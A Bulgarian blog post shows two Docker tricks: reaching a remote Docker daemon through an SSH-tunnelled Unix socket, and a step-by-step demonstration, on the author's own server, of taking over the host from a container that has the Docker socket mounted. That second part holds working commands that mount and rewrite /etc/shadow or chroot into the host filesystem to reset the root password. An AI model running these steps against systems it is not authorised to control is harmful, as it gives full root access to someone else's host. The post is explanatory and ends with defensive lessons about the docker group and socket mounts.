Две заигравки с Docker

Oct 25, 2018 13:37 · 1180 words · 6 minute read

Заигравка 1: Отдалечен достъп до Docker без да отваряме порт

Понякога експериментирам с разни docker контейнери на макбука си. За съжаление, той няма много RAM (само 8GB) и в някои случаи не смогва ако пусна и Docker. Вкъщи съм си пуснал една виртуалка, на която имам Docker. До нея имам SSH достъп отвсякъде през публичен адрес (ghost.gangelov.net).

За щастие, китчето може да ползва отдалечен хост. Достатъчно е само (1) да се настрои docker daemon-а да слуша на TCP порт и (2) да се зададе DOCKER_HOST=tcp://<адрес>:<порт>.

Това, което не искам да правя, обаче, е да expose-вам docker порт към Целия Интернет™️, дори защитен. Защо? Първо, много вероятно е в даден момент да се окаже, че има уязвимост. Второ, защитата на сокета включва правилно генериране и разпространение на сертификати, който процес все още не разбирам добре.

Друг вариант е да се expose-не само в локалната мрежа и да използвам VPN, когато не съм си вкъщи. Имам настроен VPN, но не искам да трябва целият ми трафик да минава оттам докато използвам docker. Също така, целият сървър става отворен към локалната мрежа, както ще видим след малко.

В даден момент се сетих, че SSH може да отваря тунели към TCP портове. Оказва се, той може да отваря тунели не само между TCP/UDP портове, но и да проксира UNIX socket-и.

Чакай! 🤔 /var/run/docker.sock е UNIX socket!

Схемата е следната:

  • В един терминал пускаме ssh -nNT -L ~/.remote-docker.sock:/var/run/docker.sock <хост>
  • В друг терминал задаваме export DOCKER_HOST=unix:///Users/<потребител>/.remote-docker.sock

Във втория терминал вече може да се използва docker, използвайки отдалечения хост. Всичко това минава през ssh и никъде няма отворени docker портове!

Малко пояснение за опциите на ssh:

  • -L мапва локален сокет към отдалечен такъв.
  • -nNT кара ssh да не отваря интерактивен терминал към сървъра - интересува ни само сокетът.

Заигравка 2: Да хакнем хоста през закачен Docker сокет

Какво правим обикновено, когато един контейнер има нужда да пуска други контейнери? Закачаме /var/run/docker.sock като volume в контейнера:

$ docker run -it -v /var/run/docker.sock:/var/run/docker.sock <image>

Където и да прочетем за този трик - все пише, че не трябвало да се прави. Било риск в сигурността. Щяло да призове Луцифер. Дори <center>-ът не можел да го задържи.

Но понеже ние не вярваме на документацията - ще проверим сами. Можем ли да хакнем сървъра през контейнер, в който е закачен docker сокета? Оказва се - да, при това доста лесно.

За да е честно, въвеждаме едно правило - пускаме един контейнер с /bin/bash и имаме право да пишем само в този терминал. Целта ни е да променим root паролата на хоста (извън контейнера).

 ghost ~ $ docker run -it -v /var/run/docker.sock:/var/run/docker.sock debian:latest bin/bash
Unable to find image 'debian:latest' locally
latest: Pulling from library/debian
bc9ab73e5b14: Pull complete
Digest: sha256:802706fa62e75c96fff96ada0e8ca11f570895ae2e9ba4a9d409981750ca544c
Status: Downloaded newer image for debian:latest
root@8527c0fa48ad:/#

Защо Debian? Защото, както знаем, Ubuntu е южноафрикански за “Не мога да инсталирам Debian”. Пък тук няма нужда от инсталиране.

Първо, да си инсталираме docker клиента, за да използваме сокета. Следваме инструкциите тук:

root@8527c0fa48ad:/# apt update
[...]
root@8527c0fa48ad:/# apt install -y apt-transport-https ca-certificates curl gnupg2 software-properties-common
[...]
root@8527c0fa48ad:/# curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
OK
root@8527c0fa48ad:/# add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
root@8527c0fa48ad:/# apt update && apt install docker-ce -y
[...]

Можеше да тръгнем просто от някой image с инсталиран docker, но къде е тръпката в това?

Сега да пробваме:

root@8527c0fa48ad:/# docker ps
CONTAINER ID        IMAGE                       COMMAND                  CREATED             STATUS                         PORTS                                      NAMES
8527c0fa48ad        debian:latest               "bin/bash"               7 minutes ago       Up 7 minutes                                                              eloquent_curie
[...]

Идеално - виждаме собствения си контейнер, значи сме завързани за Docker host-a извън него.

Docker потребителят е root. Това значи, че в произволен контейнер можем да закачим всяка директория или файл. Какво бихме искали да mount-нем? Очевиден избор е /etc/shadow, където се съхраняват паролите на потребителите. Да видим:

root@8527c0fa48ad:/# docker run -it -v /etc/shadow:/etc/shadow debian:latest bin/bash
root@10155f95be81:/# cat /etc/shadow
root:$6$Kad231.b$A0EIaZMI.IBoBztK3lMn20A0ELaZMI.IBoBztK3lMn20A0EIaZMI.IBoBztK3lMn20:17110:0:99999:7:::
daemon:*:17001:0:99999:7:::
bin:*:17001:0:99999:7:::
sys:*:17001:0:99999:7:::
sync:*:17001:0:99999:7:::
games:*:17001:0:99999:7:::
man:*:17001:0:99999:7:::
lp:*:17001:0:99999:7:::
mail:*:17001:0:99999:7:::
news:*:17001:0:99999:7:::
uucp:*:17001:0:99999:7:::
[...]

На първия ред виждаме хешираната парола на root. Всеки ред съдържа стойности, разделени с ::

  • root е, очевидно, името на потребителя.
  • $6$Kad231.b$A0EIaZMI.IBoBztK3lMn20A0ELaZMI.IBoBztK3lMn20A0EIaZMI.IBoBztK3lMn20 е хешът на паролата:
    • $6$ означава, че хешът е SHA512.
    • Kad231.b е солта.
    • A0EIaZMI.IBoBztK3lMn20A0EIaZMI.IBoBztK3lMn20A0EIaZMI.IBoBztK3lMn20 е самият хеш.
  • 17110 е брой дни (от първи януари 1970-та), преди които последно е сменена паролата.
  • 0 е минималният брой дни, преди които паролата не може да бъде сменена.
  • 99999 е броят дни, след които паролата трябва да бъде сменена.
  • 7 е брой дни преди изтичането на паролата, когато потребителят трябва да бъде предупреден, че трябва да я смени.
  • Последните две празни стойности са съответно:
    • Колко дни след изтичането на паролата трябва да бъде деактивиран потребителят.
    • Абсолютна дата, на която трябва да бъде деактивиран.

Това, което ни интересува е хешираната парола. Имаме достъп за писане до файла, така че трябва само да генерираме нова:

root@10155f95be81:/# apt install openssl vim
[...]
root@10155f95be81:/# openssl passwd -1 -salt 123 haxx
$1$123$inYSeyhgm/nz0BAstU9Tc/

-1 казва на openssl да генерира md5 хеш. Това е ужасно счупен хеширащ алгоритъм. Но пък е лесен за генериране, а за целите на демото не ни интересува. 123 е солта към хеша, а haxx е самата парола.

Остава само да копираме генерирания низ и да сменим съществуващия в /etc/shadow.

root@10155f95be81:/# vim /etc/shadow
[...]
:wq

Стана ли?

Отваряме нов терминал, закачаме се за сървъра и…

 ~ $ ssh ghost
Boo!

[...]

 ghost ~ $ su
Password: haxx
                                                    .--`   ``-:.``.-/. ```.
                                                   .-/- ..`-/-.`.::-:...--
                                                  .-.-/:-.`.:.`.-:-.+..../`
                                                  `.:`-:/:``-.`-/+.-/.`.:-.-.
                                                  `.:/../::`.`.-+o-:-.`--..//`
                                                  `.-//.:/-````./o+::.`....-/
                                                  -/.-+:-o-.`.`.-:-+-....::-:
                                                  `+:--+-+-.--.`.``..``.-:.---
                                                   .o-..-....-.-:/oydh+..`:+:`
                                                    -/`..:/+/:::sNNNdhy:``::`
                                                     .-sdmmss+-.:mhdsso/.-+.
                                                      .+smhm/-.``:/+++o-./s/
    ___     _   __  __   ___  ___   ___ _____          `:oddy.--.``.`--:.-/s/
   |_ _|   /_\ |  \/  | | _ \/ _ \ / _ \_   _|          .-/+-.--```.``..-://oo`
    | |   / _ \| |\/| | |   / (_) | (_) || |             -+/.`.``````.:/-..-+do.`
   |___| /_/ \_\_|  |_| |_|_\\___/ \___/ |_|              --.....``.--:o:-.-ss+s:`
                                                         `:s/++++++/:-...:hs/:ys/.
                                                          .s+/+/::-.```-+yy/+/:ysss:`
                                                           .--:/++/-.-oyydh:h/:-o/++:
                                                            ``++//+syhmhshd:hs::+.:o:
                                                              -dmsddyyd+syy:/h::o.:y:
                                                               -mhdysssshso-:+//s.-d+
                                                                sydsoyyhms//osso/--o/
                                                                o/hh+:+sm++NMm+:--.s+
                                                                /:o:-:ody//md:---.:hy
                                                                /oo::o+yy/-:s-----o/-
                                                                /://y/:yh/-.-//-.+/-/
                                                               .---oo/s::ho:..::/y--/
                                                               ..`.--+.-hNNh+:-.-o---
root@ghost:/home/stormbreaker#

Съксес!

Втори вариант

Можем да сменим паролата и по друг начин, ако не ни се пипа директно в /etc/shadow. Да закачим цялата файлова система на хоста като volume в контейнера:

root@8527c0fa48ad:/# docker run -it -v /:/host-root debian:latest bin/bash
root@e408da377f10:/# ls /host-root
bin   data  etc   initrd.img	  lib	 lib64	     media  opt   root	sbin  srv  tmp	var	 vmlinuz.old
boot  dev   home  initrd.img.old  lib32  lost+found  mnt    proc  run	snap  sys  usr	vmlinuz

След това можем да използваме /host-root като root директорията за подпроцес…

root@e408da377f10:/# chroot /host-root

# ls /
bin   data  etc   initrd.img	  lib	 lib64	     media  opt   root	sbin  srv  tmp	var	 vmlinuz.old
boot  dev   home  initrd.img.old  lib32  lost+found  mnt    proc  run	snap  sys  usr	vmlinuz

…след което да сменим паролата с passwd:

# passwd
Enter new UNIX password: haxxored
Retype new UNIX password: haxxored
passwd: password updated successfully

Негативът на този подход е, че стана прекалено лесно.

Последствия

Какво ни интересува това? Няколко неща:

  • Всеки, който е в Docker групата е, на практика, root на сървъра. Ако мога да пускам контейнери, значи имам пълен достъп до хоста.
  • Контейнер, който изисква mount на docker сокета може да бъде ефективен вход за атака. Хубаво е такива да са максимално изолирани от външния свят.
  • Ако човек получи неправомерен достъп да променя оригиналния image (например debian:latest, node:latest или подобен) може да получи достъп до всичко, което го използва.

Нито един сървър не беше наранен по време на писането на този пост.